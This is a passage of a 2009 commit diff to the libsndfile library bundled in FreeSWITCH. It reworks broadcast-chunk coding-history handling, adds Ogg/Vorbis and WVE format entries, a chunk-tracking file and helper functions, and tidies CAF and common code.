-		return NULL ;
+	return offsetof (SF_BROADCAST_INFO, coding_history) + info->coding_history_size ;
+} /* broadcast_size */
 
-	return bext ;
-} /* broadcast_info_alloc */
 
+static inline size_t
+bc_var_coding_hist_size (const SF_BROADCAST_VAR* var)
+{	return var->size - offsetof (SF_BROADCAST_VAR, binfo.coding_history) ;
+} /* broadcast_size */
+
+SF_BROADCAST_VAR*
+broadcast_var_alloc (size_t datasize)
+{	SF_BROADCAST_VAR * data ;
+
+	if ((data = calloc (1, datasize)) != NULL)
+		data->size = datasize ;
+
+	return data ;
+} /* broadcast_var_alloc */
+
+
 int
-broadcast_info_copy (SF_BROADCAST_INFO* dst, SF_BROADCAST_INFO* src)
-{	memcpy (dst, src, sizeof (SF_BROADCAST_INFO)) ;
+broadcast_var_set (SF_PRIVATE *psf, const SF_BROADCAST_INFO * info, size_t datasize)
+{	char added_history [256] ;
+	int added_history_len, len ;
 
+	if (info == NULL)
+		return SF_FALSE ;
+
+	if (bc_min_size (info) > datasize)
+	{	psf->error = SFE_BAD_BROADCAST_INFO_SIZE ;
+		return SF_FALSE ;
+		} ;
+
+	added_history_len = gen_coding_history (added_history, sizeof (added_history), &(psf->sf)) ;
+
+	if (psf->broadcast_var != NULL)
+	{	size_t coding_hist_offset = offsetof (SF_BROADCAST_INFO, coding_history) ;
+
+		if (psf->broadcast_var->binfo.coding_history_size + added_history_len < datasize - coding_hist_offset)
+		{	free (psf->broadcast_var) ;
+			psf->broadcast_var = NULL ;
+			} ;
+		} ;
+
+	if (psf->broadcast_var == NULL)
+	{	int size = datasize + added_history_len + 512 ;
+
+		psf->broadcast_var = calloc (1, size) ;
+		psf->broadcast_var->size = size ;
+		} ;
+
+	memcpy (&(psf->broadcast_var->binfo), info, offsetof (SF_BROADCAST_INFO, coding_history)) ;
+
+	strncpy_crlf (psf->broadcast_var->binfo.coding_history, info->coding_history, bc_var_coding_hist_size (psf->broadcast_var), info->coding_history_size) ;
+	len = strlen (psf->broadcast_var->binfo.coding_history) ;
+
+	if (len > 0 && psf->broadcast_var->binfo.coding_history [len] != '\n')
+		strncat (psf->broadcast_var->binfo.coding_history, "\r\n", 2) ;
+
+	if (psf->mode == SFM_WRITE)
+		strncat (psf->broadcast_var->binfo.coding_history, added_history, strlen (added_history)) ;
+
+	psf->broadcast_var->binfo.coding_history_size = strlen (psf->broadcast_var->binfo.coding_history) ;
+
+	/* Fore coding_history_size to be even. */
+	psf->broadcast_var->binfo.coding_history_size += (psf->broadcast_var->binfo.coding_history_size & 1) ? 1 : 0 ;
+
 	/* Currently writing this version. */
-	dst->version = 1 ;
+	psf->broadcast_var->binfo.version = 1 ;
 
 	return SF_TRUE ;
-} /* broadcast_info_copy */
+} /* broadcast_var_set */
 
+
 int
-broadcast_add_coding_history (SF_BROADCAST_INFO* bext, unsigned int channels, unsigned int samplerate)
+broadcast_var_get (SF_PRIVATE *psf, SF_BROADCAST_INFO * data, size_t datasize)
+{	size_t size ;
+
+	if (psf->broadcast_var == NULL)
+		return SF_FALSE ;
+
+	size = SF_MIN (datasize, bc_min_size (&(psf->broadcast_var->binfo))) ;
+
+	memcpy (data, &(psf->broadcast_var->binfo), size) ;
+
+	return SF_TRUE ;
+} /* broadcast_var_set */
+
+/*------------------------------------------------------------------------------
+**	Strncpy which converts all line endings to CR/LF.
+*/
+
+static void
+strncpy_crlf (char *dest, const char *src, size_t destmax, size_t srcmax)
+{	char * destend = dest + destmax - 1 ;
+	const char * srcend = src + srcmax ;
+
+	while (dest < destend && src < srcend)
+	{	if ((src [0] == '\r' && src [1] == '\n') || (src [0] == '\n' && src [1] == '\r'))
+		{	*dest++ = '\r' ;
+			*dest++ = '\n' ;
+			src += 2 ;
+			continue ;
+			} ;
+
+		if (src [0] == '\r')
+		{	*dest++ = '\r' ;
+			*dest++ = '\n' ;
+			src += 1 ;
+			continue ;
+			} ;
+
+		if (src [0] == '\n')
+		{	*dest++ = '\r' ;
+			*dest++ = '\n' ;
+			src += 1 ;
+			continue ;
+			} ;
+
+		*dest++ = *src++ ;
+		} ;
+
+	/* Make sure dest is terminated. */
+	*dest = 0 ;
+} /* strncpy_crlf */
+
+static int
+gen_coding_history (char * added_history, int added_history_max, const SF_INFO * psfinfo)
 {	char chnstr [16] ;
-	int count ;
+	int count, width ;
 
-	switch (channels)
+	/*
+	**	From : http://www.sr.se/utveckling/tu/bwf/docs/codhist2.htm
+	**
+	**	Parameter            Variable string <allowed option>                 Unit
+	**	==========================================================================================
+	**	Coding Algorithm     A=<ANALOGUE, PCM, MPEG1L1, MPEG1L2, MPEG1L3,
+	**	                     MPEG2L1, MPEG2L2, MPEG2L3>
+	**	Sampling frequency   F=<11000,22050,24000,32000,44100,48000>          [Hz]
+	**	Bit-rate             B=<any bit-rate allowed in MPEG 2 (ISO/IEC       [kbit/s per channel]
+	**	                     13818-3)>
+	**	Word Length          W=<8, 12, 14, 16, 18, 20, 22, 24>                [bits]
+	**	Mode                 M=<mono, stereo, dual-mono, joint-stereo>
+	**	Text, free string    T=<a free ASCII-text string for in house use.
+	**	                     This string should contain no commas (ASCII
+	**	                     2Chex). Examples of the contents: ID-No; codec
+	**	                     type; A/D type>
+	*/
+
+	switch (psfinfo->channels)
 	{	case 0 :
 			return SF_FALSE ;
 
@@ -63,27 +192,47 @@
 			strncpy (chnstr, "stereo", sizeof (chnstr)) ;
 			break ;
 
-	default :
-		LSF_SNPRINTF (chnstr, sizeof (chnstr), "%uchn", channels) ;
-		break ;
-	}
+		default :
+			snprintf (chnstr, sizeof (chnstr), "%uchn", psfinfo->channels) ;
+			break ;
+		} ;
 
-	count = LSF_SNPRINTF (bext->coding_history, sizeof (bext->coding_history), "F=%u,A=PCM,M=%s,W=24,T=%s-%s", samplerate, chnstr, PACKAGE, VERSION) ;
-
-	if (count >= SIGNED_SIZEOF (bext->coding_history))
-		bext->coding_history_size = sizeof (bext->coding_history) ;
-	else
-	{	count += count & 1 ;
-		bext->coding_history_size = count ;
+	switch (SF_CODEC (psfinfo->format))
+	{	case SF_FORMAT_PCM_U8 :
+		case SF_FORMAT_PCM_S8 :
+			width = 8 ;
+			break ;
+		case SF_FORMAT_PCM_16 :
+			width = 16 ;
+			break ;
+		case SF_FORMAT_PCM_24 :
+			width = 24 ;
+			break ;
+		case SF_FORMAT_PCM_32 :
+			width = 32 ;
+			break ;
+		case SF_FORMAT_FLOAT :
+			width = 24 ; /* Bits in the mantissa + 1 */
+			break ;
+		case SF_FORMAT_DOUBLE :
+			width = 53 ; /* Bits in the mantissa + 1 */
+			break ;
+		case SF_FORMAT_ULAW :
+		case SF_FORMAT_ALAW :
+			width = 12 ;
+			break ;
+		default :
+			width = 42 ;
+			break ;
 		} ;
 
-	return SF_TRUE ;
-} /* broadcast_add_coding_history */
+	count = snprintf (added_history, added_history_max,
+							"A=PCM,F=%u,W=%hu,M=%s,T=%s-%s\r\n",
+							psfinfo->samplerate, width, chnstr, PACKAGE, VERSION) ;
 
-/*
-** Do not edit or modify anything in this comment block.
-** The following line is a file identity tag for the GNU Arch
-** revision control system.
-**
-** arch-tag: 4b3b69c7-d710-4424-9da0-5048534a0beb
-*/
+	if (count >= added_history_max)
+		return 0 ;
+
+	return count ;
+} /* gen_coding_history */
+

Modified: freeswitch/branches/seven/libs/libsndfile/src/caf.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/caf.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/src/caf.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-** Copyright (C) 2005, 2006 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 2005-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** This program is free software; you can redistribute it and/or modify
 ** it under the terms of the GNU Lesser General Public License as published by
@@ -22,10 +22,10 @@
 #include	<stdlib.h>
 #include	<string.h>
 #include	<ctype.h>
+#include	<math.h>
 
 #include	"sndfile.h"
 #include	"sfendian.h"
-#include	"float_cast.h"
 #include	"common.h"
 
 /*------------------------------------------------------------------------------
@@ -103,13 +103,13 @@
 			return error ;
 		} ;
 
-	subformat = psf->sf.format & SF_FORMAT_SUBMASK ;
+	subformat = SF_CODEC (psf->sf.format) ;
 
 	if (psf->mode == SFM_WRITE || psf->mode == SFM_RDWR)
 	{	if (psf->is_pipe)
 			return SFE_NO_PIPE_WRITE ;
 
-		format = psf->sf.format & SF_FORMAT_TYPEMASK ;
+		format = SF_CONTAINER (psf->sf.format) ;
 		if (format != SF_FORMAT_CAF)
 			return	SFE_BAD_OPEN_FORMAT ;
 
@@ -264,7 +264,7 @@
 
 	psf_binheader_readf (psf, "mE8b", &marker, &chunk_size, psf->u.ucbuf, 8) ;
 	srate = double64_be_read (psf->u.ucbuf) ;
-	LSF_SNPRINTF (psf->u.cbuf, sizeof (psf->u.cbuf), "%5.3f", srate) ;
+	snprintf (psf->u.cbuf, sizeof (psf->u.cbuf), "%5.3f", srate) ;
 	psf_log_printf (psf, "%M : %D\n  Sample rate  : %s\n", marker, chunk_size, psf->u.cbuf) ;
 	if (marker != desc_MARKER)
 		return SFE_CAF_NO_DESC ;
@@ -282,6 +282,11 @@
 			"  Frames / packet  : %u\n  Channels / frame : %u\n  Bits / channel   : %u\n",
 			desc.fmt_id, desc.fmt_flags, desc.pkt_bytes, desc.pkt_frames, desc.channels_per_frame, desc.bits_per_chan) ;
 
+	if (desc.channels_per_frame > 200)
+	{	psf_log_printf (psf, "**** Bad channels per frame value %u.\n", desc.channels_per_frame) ;
+		return SFE_MALFORMED_FILE ;
+		} ;
+
 	if (chunk_size > SIGNED_SIZEOF (DESC_CHUNK))
 		psf_binheader_readf (psf, "j", (int) (chunk_size - sizeof (DESC_CHUNK))) ;
 
@@ -315,7 +320,7 @@
 					psf->peak_info->peaks [k].value = value ;
 					psf->peak_info->peaks [k].position = position ;
 
-					LSF_SNPRINTF (psf->u.cbuf, sizeof (psf->u.cbuf), "    %2d   %-12ld   %g\n", k, (long) position, value) ;
+					snprintf (psf->u.cbuf, sizeof (psf->u.cbuf), "    %2d   %-12ld   %g\n", k, (long) position, value) ;
 					psf_log_printf (psf, psf->u.cbuf) ;
 					} ;
 
@@ -400,9 +405,9 @@
  	double64_be_write (1.0 * psf->sf.samplerate, psf->u.ucbuf) ;
 	psf_binheader_writef (psf, "b", psf->u.ucbuf, make_size_t (8)) ;
 
-	subformat = psf->sf.format & SF_FORMAT_SUBMASK ;
+	subformat = SF_CODEC (psf->sf.format) ;
 
-	psf->endian = psf->sf.format & SF_FORMAT_ENDMASK ;
+	psf->endian = SF_ENDIAN (psf->sf.format) ;
 
 	if (CPU_IS_BIG_ENDIAN && (psf->endian == 0 || psf->endian == SF_ENDIAN_CPU))
 		psf->endian = SF_ENDIAN_BIG ;
@@ -529,10 +534,3 @@
 	return psf->error ;
 } /* caf_write_header */
 
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch
-** revision control system.
-**
-** arch-tag: 65883e65-bd3c-4618-9241-d3c02fd630bd
-*/

Copied: freeswitch/branches/seven/libs/libsndfile/src/chunk.c (from rev 14471, freeswitch/trunk/libs/libsndfile/src/chunk.c) (0 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/chunk.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/libsndfile/src/chunk.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,54 @@
+/*
+** Copyright (C) 2008-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
+**
+** This program is free software; you can redistribute it and/or modify
+** it under the terms of the GNU Lesser General Public License as published by
+** the Free Software Foundation; either version 2.1 of the License, or
+** (at your option) any later version.
+**
+** This program is distributed in the hope that it will be useful,
+** but WITHOUT ANY WARRANTY; without even the implied warranty of
+** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+** GNU Lesser General Public License for more details.
+**
+** You should have received a copy of the GNU Lesser General Public License
+** along with this program; if not, write to the Free Software
+** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
+*/
+
+#include	"sfconfig.h"
+
+#include	<stdlib.h>
+#include	<string.h>
+
+#include	"sndfile.h"
+#include	"sfendian.h"
+#include	"common.h"
+
+
+void
+pchk4_store (PRIV_CHUNK4 * pchk, int marker, sf_count_t offset, sf_count_t len)
+{
+	if (pchk->count >= ARRAY_LEN (pchk->l))
+		return ;
+
+	pchk->l [pchk->count].chunk = marker ;
+	pchk->l [pchk->count].offset = offset ;
+	pchk->l [pchk->count].len = len ;
+
+	pchk->count ++ ;
+
+	return ;
+} /* pchk4_store */
+
+int
+pchk4_find (PRIV_CHUNK4 * pchk, int marker)
+{	int k ;
+
+	for (k = 0 ; k < pchk->count ; k++)
+		if (pchk->l [k].chunk == marker)
+			return k ;
+
+	return -1 ;
+} /* pchk4_find */
+

Modified: freeswitch/branches/seven/libs/libsndfile/src/command.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/command.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/src/command.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-** Copyright (C) 2001-2004 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 2001-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** This program is free software; you can redistribute it and/or modify
 ** it under the terms of the GNU Lesser General Public License as published by
@@ -51,7 +51,7 @@
 		"CAF (Apple 16 bit PCM)", "caf"
 		},
 
-#ifdef HAVE_FLAC_ALL_H
+#if HAVE_EXTERNAL_LIBS
 	{	SF_FORMAT_FLAC | SF_FORMAT_PCM_16,
 		"FLAC 16 bit", "flac"
 		},
@@ -61,6 +61,12 @@
 		"OKI Dialogic VOX ADPCM", "vox"
 		},
 
+#if HAVE_EXTERNAL_LIBS
+	{	SF_FORMAT_OGG | SF_FORMAT_VORBIS,
+		"Ogg Vorbis (Xiph Foundation)", "oga"
+		},
+#endif
+
 	{	SF_FORMAT_WAV | SF_FORMAT_PCM_16,
 		"WAV (Microsoft 16 bit PCM)", "wav"
 		},
@@ -93,7 +99,7 @@
 {	int indx ;
 
 	if (data->format < 0 || data->format >= (SIGNED_SIZEOF (simple_formats) / SIGNED_SIZEOF (SF_FORMAT_INFO)))
-		return SFE_BAD_CONTROL_CMD ;
+		return SFE_BAD_COMMAND_PARAM ;
 
 	indx = data->format ;
 	memcpy (data, &(simple_formats [indx]), SIGNED_SIZEOF (SF_FORMAT_INFO)) ;
@@ -111,13 +117,16 @@
 	{	SF_FORMAT_AU,		"AU (Sun/NeXT)", 						"au"	},
 	{	SF_FORMAT_AVR,		"AVR (Audio Visual Research)",	 		"avr"	},
 	{	SF_FORMAT_CAF,		"CAF (Apple Core Audio File)",	 		"caf"	},
-#ifdef HAVE_FLAC_ALL_H
+#if HAVE_EXTERNAL_LIBS
 	{	SF_FORMAT_FLAC,		"FLAC (FLAC Lossless Audio Codec)",	 	"flac"	},
 #endif
 	{	SF_FORMAT_HTK,		"HTK (HMM Tool Kit)",					"htk"	},
 	{	SF_FORMAT_SVX,		"IFF (Amiga IFF/SVX8/SV16)",			"iff"	},
 	{	SF_FORMAT_MAT4,		"MAT4 (GNU Octave 2.0 / Matlab 4.2)",	"mat"	},
 	{	SF_FORMAT_MAT5,		"MAT5 (GNU Octave 2.1 / Matlab 5.0)",	"mat"	},
+#if HAVE_EXTERNAL_LIBS
+	{	SF_FORMAT_OGG,		"OGG (OGG Container format)",		 	"oga"	},
+#endif
 	{	SF_FORMAT_PAF,		"PAF (Ensoniq PARIS)", 					"paf"	},
 	{	SF_FORMAT_PVF,		"PVF (Portable Voice Format)",			"pvf"	},
 	{	SF_FORMAT_RAW,		"RAW (header-less)",				 	"raw"	},
@@ -129,6 +138,7 @@
 	{	SF_FORMAT_WAV,		"WAV (Microsoft)",						"wav"	},
 	{	SF_FORMAT_NIST,		"WAV (NIST Sphere)",	 				"wav"	},
 	{	SF_FORMAT_WAVEX,	"WAVEX (Microsoft)",					"wav"	},
+	{	SF_FORMAT_WVE,		"WVE (Psion Series 3)",					"wve"	},
 	{	SF_FORMAT_XI,		"XI (FastTracker 2)",					"xi"	},
 
 } ; /* major_formats */
@@ -143,7 +153,7 @@
 {	int indx ;
 
 	if (data->format < 0 || data->format >= (SIGNED_SIZEOF (major_formats) / SIGNED_SIZEOF (SF_FORMAT_INFO)))
-		return SFE_BAD_CONTROL_CMD ;
+		return SFE_BAD_COMMAND_PARAM ;
 
 	indx = data->format ;
 	memcpy (data, &(major_formats [indx]), SIGNED_SIZEOF (SF_FORMAT_INFO)) ;
@@ -183,7 +193,11 @@
 	{	SF_FORMAT_VOX_ADPCM,	"VOX ADPCM",			"vox" 	},
 
 	{	SF_FORMAT_DPCM_16,		"16 bit DPCM",			NULL 	},
-	{	SF_FORMAT_DPCM_8,		"8 bit DPCM",			NULL 	}
+	{	SF_FORMAT_DPCM_8,		"8 bit DPCM",			NULL 	},
+
+#if HAVE_EXTERNAL_LIBS
+	{	SF_FORMAT_VORBIS,		"Vorbis",				NULL 	},
+#endif
 } ; /* subtype_formats */
 
 int
@@ -196,7 +210,7 @@
 {	int indx ;
 
 	if (data->format < 0 || data->format >= (SIGNED_SIZEOF (subtype_formats) / SIGNED_SIZEOF (SF_FORMAT_INFO)))
-		return SFE_BAD_CONTROL_CMD ;
+		return SFE_BAD_COMMAND_PARAM ;
 
 	indx = data->format ;
 	memcpy (data, &(subtype_formats [indx]), sizeof (SF_FORMAT_INFO)) ;
@@ -211,8 +225,8 @@
 psf_get_format_info (SF_FORMAT_INFO *data)
 {	int k, format ;
 
-	if (data->format & SF_FORMAT_TYPEMASK)
-	{	format = data->format & SF_FORMAT_TYPEMASK ;
+	if (SF_CONTAINER (data->format))
+	{	format = SF_CONTAINER (data->format) ;
 
 		for (k = 0 ; k < (SIGNED_SIZEOF (major_formats) / SIGNED_SIZEOF (SF_FORMAT_INFO)) ; k++)
 		{	if (format == major_formats [k].format)
@@ -221,8 +235,8 @@
 				} ;
 			} ;
 		}
-	else if (data->format & SF_FORMAT_SUBMASK)
-	{	format = data->format & SF_FORMAT_SUBMASK ;
+	else if (SF_CODEC (data->format))
+	{	format = SF_CODEC (data->format) ;
 
 		for (k = 0 ; k < (SIGNED_SIZEOF (subtype_formats) / SIGNED_SIZEOF (SF_FORMAT_INFO)) ; k++)
 		{	if (format == subtype_formats [k].format)
@@ -234,7 +248,7 @@
 
 	memset (data, 0, sizeof (SF_FORMAT_INFO)) ;
 
-	return SFE_BAD_CONTROL_CMD ;
+	return SFE_BAD_COMMAND_PARAM ;
 } /* psf_get_format_info */
 
 /*==============================================================================
@@ -355,13 +369,6 @@
 		peaks [k] = psf->peak_info->peaks [k].value ;
 
 	return SF_TRUE ;
-}  /* psf_get_max_all_channels */
+} /* psf_get_max_all_channels */
 
 
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch 
-** revision control system.
-**
-** arch-tag: 0aae0d9d-ab2b-4d70-ade3-47a534666f8e
-*/

Modified: freeswitch/branches/seven/libs/libsndfile/src/common.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/common.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/src/common.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-** Copyright (C) 1999-2006 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 1999-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** This program is free software; you can redistribute it and/or modify
 ** it under the terms of the GNU Lesser General Public License as published by
@@ -16,12 +16,16 @@
 ** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
 */
 
+#include	<config.h>
+
 #include	<stdarg.h>
 #include	<string.h>
 #include	<ctype.h>
 #include	<math.h>
 #include	<time.h>
-
+#ifndef _MSC_VER
+#include	<sys/time.h>
+#endif
 #include	"sndfile.h"
 #include	"sfendian.h"
 #include	"common.h"
@@ -314,7 +318,6 @@
 	return ;
 } /* psf_log_printf */
 
-#ifndef PSF_LOG_PRINTF_ONLY
 /*-----------------------------------------------------------------------------------------------
 **  ASCII header printf functions.
 **  Some formats (ie NIST) use ascii text in their headers.
@@ -334,7 +337,7 @@
 	maxlen	= sizeof (psf->header) - maxlen ;
 
 	va_start (argptr, format) ;
-	LSF_VSNPRINTF (start, maxlen, format, argptr) ;
+	vsnprintf (start, maxlen, format, argptr) ;
 	va_end (argptr) ;
 
 	/* Make sure the string is properly terminated. */
@@ -776,24 +779,17 @@
 #define	GET_BE_INT(ptr)		( 	((ptr) [0] << 24)	| ((ptr) [1] << 16) |	\
 							 	((ptr) [2] << 8)	| ((ptr) [3]) )
 
-#if (SIZEOF_LONG == 4)
-#define	GET_LE_8BYTE(ptr)	( 	((ptr) [3] << 24)	| ((ptr) [2] << 16) |	\
-							 	((ptr) [1] << 8)	| ((ptr) [0]) )
+#define	GET_LE_8BYTE(ptr)	( 	(((sf_count_t) (ptr) [7]) << 56) | (((sf_count_t) (ptr) [6]) << 48) |	\
+							 	(((sf_count_t) (ptr) [5]) << 40) | (((sf_count_t) (ptr) [4]) << 32) |	\
+							 	(((sf_count_t) (ptr) [3]) << 24) | (((sf_count_t) (ptr) [2]) << 16) |	\
+							 	(((sf_count_t) (ptr) [1]) << 8 ) | ((ptr) [0]))
 
-#define	GET_BE_8BYTE(ptr)	( 	((ptr) [4] << 24)	| ((ptr) [5] << 16) |	\
-								((ptr) [6] << 8)	| ((ptr) [7]) )
-#else
-#define	GET_LE_8BYTE(ptr)	( 	(((ptr) [7] * 1L) << 56) | (((ptr) [6] * 1L) << 48) |	\
-							 	(((ptr) [5] * 1L) << 40) | (((ptr) [4] * 1L) << 32) |	\
-							 	(((ptr) [3] * 1L) << 24) | (((ptr) [2] * 1L) << 16) |	\
-							 	(((ptr) [1] * 1L) << 8 ) | ((ptr) [0]))
+#define	GET_BE_8BYTE(ptr)	( 	(((sf_count_t) (ptr) [0]) << 56) | (((sf_count_t) (ptr) [1]) << 48) |	\
+							 	(((sf_count_t) (ptr) [2]) << 40) | (((sf_count_t) (ptr) [3]) << 32) |	\
+							 	(((sf_count_t) (ptr) [4]) << 24) | (((sf_count_t) (ptr) [5]) << 16) |	\
+							 	(((sf_count_t) (ptr) [6]) << 8 ) | ((ptr) [7]))
 
-#define	GET_BE_8BYTE(ptr)	( 	(((ptr) [0] * 1L) << 56) | (((ptr) [1] * 1L) << 48) |	\
-							 	(((ptr) [2] * 1L) << 40) | (((ptr) [3] * 1L) << 32) |	\
-							 	(((ptr) [4] * 1L) << 24) | (((ptr) [5] * 1L) << 16) |	\
-							 	(((ptr) [6] * 1L) << 8 ) | ((ptr) [7]))
 
-#endif
 
 static int
 header_read (SF_PRIVATE *psf, void *ptr, int bytes)
@@ -1093,7 +1089,7 @@
 */
 
 sf_count_t
-psf_default_seek (SF_PRIVATE *psf, int mode, sf_count_t samples_from_start)
+psf_default_seek (SF_PRIVATE *psf, int UNUSED (mode), sf_count_t samples_from_start)
 {	sf_count_t position, retval ;
 
 	if (! (psf->blockwidth && psf->dataoffset >= 0))
@@ -1113,8 +1109,6 @@
 		return PSF_SEEK_ERROR ;
 		} ;
 
-	mode = mode ;
-
 	return samples_from_start ;
 } /* psf_default_seek */
 
@@ -1122,8 +1116,9 @@
 */
 
 void
-psf_hexdump (void *ptr, int len)
-{	char	ascii [17], *data ;
+psf_hexdump (const void *ptr, int len)
+{	const char *data ;
+	char	ascii [17] ;
 	int		k, m ;
 
 	if ((data = ptr) == NULL)
@@ -1169,6 +1164,25 @@
 /*========================================================================================
 */
 
+void*
+psf_memset (void *s, int c, sf_count_t len)
+{	char	*ptr ;
+	int 	setcount ;
+
+	ptr = (char *) s ;
+
+	while (len > 0)
+	{	setcount = (len > 0x10000000) ? 0x10000000 : (int) len ;
+
+		memset (ptr, c, setcount) ;
+
+		ptr += setcount ;
+		len -= setcount ;
+		} ;
+
+	return s ;
+} /* psf_memset */
+
 SF_INSTRUMENT *
 psf_instrument_alloc (void)
 {	SF_INSTRUMENT *instr ;
@@ -1188,26 +1202,19 @@
 	return instr ;
 } /* psf_instrument_alloc */
 
-void*
-psf_memset (void *s, int c, sf_count_t len)
-{	char	*ptr ;
-	int 	setcount ;
+void
+psf_sanitize_string (char * cptr, int len)
+{
+	do
+	{
+		len -- ;
+		cptr [len] = isprint (cptr [len]) ? cptr [len] : '.' ;
+	}
+	while (len > 0) ;
+} /* psf_sanitize_string */
 
-	ptr = (char *) s ;
-
-	while (len > 0)
-	{	setcount = (len > 0x10000000) ? 0x10000000 : (int) len ;
-
-		memset (ptr, c, setcount) ;
-
-		ptr += setcount ;
-		len -= setcount ;
-		} ;
-
-	return s ;
-} /* psf_memset */
-
-void psf_get_date_str (char *str, int maxlen)
+void
+psf_get_date_str (char *str, int maxlen)
 {	time_t		current ;
 	struct tm	timedata, *tmptr ;
 
@@ -1225,11 +1232,11 @@
 #endif
 
 	if (tmptr)
-		LSF_SNPRINTF (str, maxlen, "%4d-%02d-%02d %02d:%02d:%02d UTC",
+		snprintf (str, maxlen, "%4d-%02d-%02d %02d:%02d:%02d UTC",
 			1900 + timedata.tm_year, timedata.tm_mon, timedata.tm_mday,
 			timedata.tm_hour, timedata.tm_min, timedata.tm_sec) ;
 	else
-		LSF_SNPRINTF (str, maxlen, "Unknown date") ;
+		snprintf (str, maxlen, "Unknown date") ;
 
 	return ;
 } /* psf_get_date_str */
@@ -1279,12 +1286,130 @@
 	return array [((bits + 7) / 8) - 1] ;
 } /* bitwidth_to_subformat */
 
-#endif /* PSF_LOG_PRINTF_ONLY */
-
 /*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch
-** revision control system.
-**
-** arch-tag: 33e9795e-f717-461a-9feb-65d083a56395
+**	psf_rand_int32 : Not crypto quality, but more than adequate for things
+**	like stream serial numbers in Ogg files or the unique_id field of the
+**	SF_PRIVATE struct.
 */
+
+int32_t
+psf_rand_int32 (void)
+{	static int32_t value = -1 ;
+	int k, count ;
+
+	if (value == -1)
+	{
+#if HAVE_GETTIMEOFDAY
+		struct timeval tv ;
+		gettimeofday (&tv, NULL) ;
+		value = tv.tv_sec + tv.tv_usec ;
+#else
+		value = time (NULL) ;
+#endif
+		} ;
+
+	count = 4 + (value & 7) ;
+	for (k = 0 ; k < count ; k++)
+		value = 11117 * value + 211231 ;
+
+	return value ;
+} /* psf_rand_int32 */
+
+/*==============================================================================
+*/
+
+#define CASE_NAME(x)		case x : return #x ; break ;
+
+const char *
+str_of_major_format (int format)
+{	switch (SF_CONTAINER (format))
+	{	CASE_NAME (SF_FORMAT_WAV) ;
+		CASE_NAME (SF_FORMAT_AIFF) ;
+		CASE_NAME (SF_FORMAT_AU) ;
+		CASE_NAME (SF_FORMAT_RAW) ;
+		CASE_NAME (SF_FORMAT_PAF) ;
+		CASE_NAME (SF_FORMAT_SVX) ;
+		CASE_NAME (SF_FORMAT_NIST) ;
+		CASE_NAME (SF_FORMAT_VOC) ;
+		CASE_NAME (SF_FORMAT_IRCAM) ;
+		CASE_NAME (SF_FORMAT_W64) ;
+		CASE_NAME (SF_FORMAT_MAT4) ;
+		CASE_NAME (SF_FORMAT_MAT5) ;
+		CASE_NAME (SF_FORMAT_PVF) ;
+		CASE_NAME (SF_FORMAT_XI) ;
+		CASE_NAME (SF_FORMAT_HTK) ;
+		CASE_NAME (SF_FORMAT_SDS) ;
+		CASE_NAME (SF_FORMAT_AVR) ;
+		CASE_NAME (SF_FORMAT_WAVEX) ;
+		CASE_NAME (SF_FORMAT_SD2) ;
+		CASE_NAME (SF_FORMAT_FLAC) ;
+		CASE_NAME (SF_FORMAT_CAF) ;
+		CASE_NAME (SF_FORMAT_WVE) ;
+		CASE_NAME (SF_FORMAT_OGG) ;
+		default :
+			break ;
+		} ;
+
+	return "BAD_MAJOR_FORMAT" ;
+} /* str_of_major_format */
+
+const char *
+str_of_minor_format (int format)
+{	switch (SF_CODEC (format))
+	{	CASE_NAME (SF_FORMAT_PCM_S8) ;
+		CASE_NAME (SF_FORMAT_PCM_16) ;
+		CASE_NAME (SF_FORMAT_PCM_24) ;
+		CASE_NAME (SF_FORMAT_PCM_32) ;
+		CASE_NAME (SF_FORMAT_PCM_U8) ;
+		CASE_NAME (SF_FORMAT_FLOAT) ;
+		CASE_NAME (SF_FORMAT_DOUBLE) ;
+		CASE_NAME (SF_FORMAT_ULAW) ;
+		CASE_NAME (SF_FORMAT_ALAW) ;
+		CASE_NAME (SF_FORMAT_IMA_ADPCM) ;
+		CASE_NAME (SF_FORMAT_MS_ADPCM) ;
+		CASE_NAME (SF_FORMAT_GSM610) ;
+		CASE_NAME (SF_FORMAT_VOX_ADPCM) ;
+		CASE_NAME (SF_FORMAT_G721_32) ;
+		CASE_NAME (SF_FORMAT_G723_24) ;
+		CASE_NAME (SF_FORMAT_G723_40) ;
+		CASE_NAME (SF_FORMAT_DWVW_12) ;
+		CASE_NAME (SF_FORMAT_DWVW_16) ;
+		CASE_NAME (SF_FORMAT_DWVW_24) ;
+		CASE_NAME (SF_FORMAT_DWVW_N) ;
+		CASE_NAME (SF_FORMAT_DPCM_8) ;
+		CASE_NAME (SF_FORMAT_DPCM_16) ;
+		CASE_NAME (SF_FORMAT_VORBIS) ;
+		default :
+			break ;
+		} ;
+
+	return "BAD_MINOR_FORMAT" ;
+} /* str_of_minor_format */
+
+const char *
+str_of_open_mode (int mode)
+{	switch (mode)
